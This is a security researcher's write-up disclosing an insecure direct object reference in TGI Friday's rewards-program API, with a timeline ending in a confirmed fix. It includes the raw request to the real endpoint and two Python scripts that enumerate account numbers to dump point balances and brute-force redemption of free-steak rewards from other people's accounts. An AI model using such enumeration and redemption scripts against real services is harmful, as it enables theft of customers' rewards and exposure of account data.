TGI Friday’s is an american style restaurant chain that is popular not just in the United States, but also in other countries all over the world.

They have a rewards program called “Give Me More Stripes”. The reward program gives a point for every dollar spent. The points can then be redeemed for rewards like a free desert, free steak or ribs entree, etc.

In the GET Request shown below, the “acctid” had an insecure direct object reference vulnerability that allowed us to pull up the rewards of any account just by swapping the account id numbers.

GET /alchemy-master/ws/TgifAccountActivity.asmx/AccountActivity?stoken=8970853507518770&acctid=***REMOVED*** HTTP/1.1 Host: tgiws.kobie.com:8080 Accept: */* User-Agent: com.TGIF.Fridays/4.5.5.2 (unknown, iPhone OS 8.4, iPhone, Scale/2.000000) Accept-Language: en, en-us;q=0.8 Accept-Encoding: gzip Connection: keep-alive 1 2 3 4 5 6 7 GET / alchemy - master / ws / TgifAccountActivity . asmx / AccountActivity ? stoken = 8970853507518770 & acctid = * * * REMOVED* * * HTTP / 1.1 Host : tgiws . kobie . com : 8080 Accept : * / * User - Agent : com . TGIF . Fridays / 4.5.5.2 ( unknown , iPhone OS 8.4 , iPhone , Scale / 2.000000 ) Accept - Language : en , en - us ; q = 0.8 Accept - Encoding : gzip Connection : keep - alive

The GET Response below shows an account with a balance of 298 points:

{"responsecode":"0","responsemessage":"Success","history":[{"activitydesc":" Prior visit self-credit ","datereqested":"-redacted-","stripesactivity":"43","activitybalance":"298"} 1 { "responsecode" : "0" , "responsemessage" : "Success" , "history" : [ { "activitydesc" : " Prior visit self-credit " , "datereqested" : "-redacted-" , "stripesactivity" : "43" , "activitybalance" : "298" }

When the “acctid” is swapped using a man in the middle proxy such as Burp Suite while loading the available rewards, it is possible to then redeem a coupon code for a free food item using someone else’s points.

To test this, Ryan Griffin and I went to TGI Friday’s several times to spend $50 and rack up 50 points, the minimum amount of points required for a free dessert. Then using my account, we were able to redeem the free dessert using his points. Since I have an iPhone, I was able to save the coupon to my passbook, but when it comes down to it, the waiter or waitress just needs to write down the coupon code given.

Here is a Python Proof of Concept that details how someone could enumerate account numbers and how many points a person has:

import json import requests import string import random def number_generator(size=6, chars=string.digits): return ''.join(random.choice(chars) for _ in range(size)) while True: stuff = number_generator() r = requests.get("http://tgiws.kobie.com:8080/alchemy-master/ws/TgifAccountActivity.asmx/AccountActivity?stoken=8970853507518770&acctid=0287000070"+stuff); if "stripesactivity" in r.text: if '"points":"0"}' not in r.text: print "0287000070"+stuff print r.content print "

" 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import json import requests import string import random def number_generator ( size = 6 , chars = string . digits ) : return '' . join ( random . choice ( chars ) for _ in range ( size ) ) while True : stuff = number_generator ( ) r = requests . get ( "http://tgiws.kobie.com:8080/alchemy-master/ws/TgifAccountActivity.asmx/AccountActivity?stoken=8970853507518770&acctid=0287000070" + stuff ) ; if "stripesactivity" in r . text : if '"points":"0"}' not in r . text : print "0287000070" + stuff print r . content print "

"

We found the first ten digits of everyone’s account numbers were the same so we randomly generated the last 6 digits to return valid accounts and dumped their account number along with their points.

Here is our proof of concept video demonstrating the exploit:

While we only redeemed a free dessert, there was the possibility for redeeming a steak entree for 150 points. In the wrong hands, this vulnerability could be abused for endless free food, causing a lot of unhappy customers.

Here’s an example of a python script someone could write to abuse this:

import json import requests import string import random def number_generator(size=6, chars=string.digits): return ''.join(random.choice(chars) for _ in range(size)) while True: stuff = number_generator() r = requests.get("http://tgiws.kobie.com:8080/alchemy-master/ws/TgifRedeemReward.asmx/RedeemReward?stoken=&acctid=0287000070"+stuff+"&rewardid=GMMSMEAT150"); if "Success" in r.content: print r.content print "

" 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import json import requests import string import random def number_generator ( size = 6 , chars = string . digits ) : return '' . join ( random . choice ( chars ) for _ in range ( size ) ) while True : stuff = number_generator ( ) r = requests . get ( "http://tgiws.kobie.com:8080/alchemy-master/ws/TgifRedeemReward.asmx/RedeemReward?stoken=&acctid=0287000070" + stuff + "&rewardid=GMMSMEAT150" ) ; if "Success" in r . content : print r . content print "

"

With a sample output of:

{"responsecode":"0","responsemessage":"Success","serial":"**REDACTED**","expiresDate":"**REDACTED**","code":"Free Ribs or Steak"} 1 { "responsecode" : "0" , "responsemessage" : "Success" , "serial" : "**REDACTED**" , "expiresDate" : "**REDACTED**" , "code" : "Free Ribs or Steak" }

The script would attempt to redeem steak dinner codes from random accounts and would post the serial number to give the waiter/waitress if it was successful.

Disclosure Timeline

8/23/2015: Vulnerability Discovered.

9/29/2015: Established contact with Nick Shepherd from TGI Friday’s via LinkedIn.

9/30/2015: Sent email with PoC video detailing the exploit to Kathryn Kotel, Senior Vice President, General Counsel and Head of Business Affairs, as instructed by Nick Shepherd.

10/20/2015: App Store and Play Store app update. Still Vulnerable.

10/28/2015: Sent another email to Kathryn Kotel, asking for information regarding a remediation plan.

11/04/2015: Received response from Kathryn Kotel explaining a remediation plan was in progress with intent to update the app before the end of the year.

01/05/2016: Sent follow up email asking for an update after we noticed the app had not received an update and was still vulnerable.

01/12/2016: Called Kathryn Kotel’s office to check in on status. Left message with her secretary.

01/15/2016: Received email response explaining the delay in finalizing the fix. An app update for both the App Store and Play Store was submitted and pending approval. The new planned “go-live” date was set for on or before February 2nd, 2016.

01/31/2016: Play Store update pushed.

02/01/2016: App Store update pushed. Applications fixed, but vulnerable endpoints still active. Sent message to Kathryn informing her.

02/05/2016: Received email response informing the vulnerable endpoints have been disabled. Fix Confirmed

I would like to thank TGI Friday’s for taking the time to patch this vulnerability. While it didn’t compromise any sensitive information, it still allowed someone to steal points earned by individuals.

The timeline for fixing this vulnerability after contact was established was nearing the 5 month mark, which I found to be little excessive.